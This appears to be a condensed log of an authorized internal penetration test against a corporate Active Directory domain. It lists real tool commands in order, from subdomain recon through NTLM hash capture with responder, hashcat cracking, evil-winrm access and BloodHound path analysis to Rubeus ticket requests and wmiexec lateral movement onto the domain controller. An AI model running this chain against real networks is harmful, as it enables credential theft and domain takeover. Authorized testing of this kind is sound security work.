[scope]      rules of engagement: signed & authorized
[recon]      subfinder -d target.corp -silent
[recon]      amass enum -passive -d target.corp
[recon]      httpx -silent -tech-detect -status-code
[recon]      nuclei -severity critical,high -rl 50
[access]     responder -I eth0 -dwv
[access]     hash captured -> NTLMv2 (svc_scan)
[crack]      hashcat -m 5600 -a 0 -w 4 --quiet
[access]     evil-winrm -i WS-044 -u svc_scan
[enum]       bloodhound-python -c All -d target.corp
[analysis]   path found: svc_scan ->(GenericAll)-> DA
[escalation] Rubeus asktgt /user:svc_scan /rc4:...
[lateral]    wmiexec -> DC01  [contained]
[impact]     reachable: \\fs01\finance$  (read)
[report]     47 findings · 6 critical · exposure mapped
[ellipsis]   perimeter audited - within authorized scope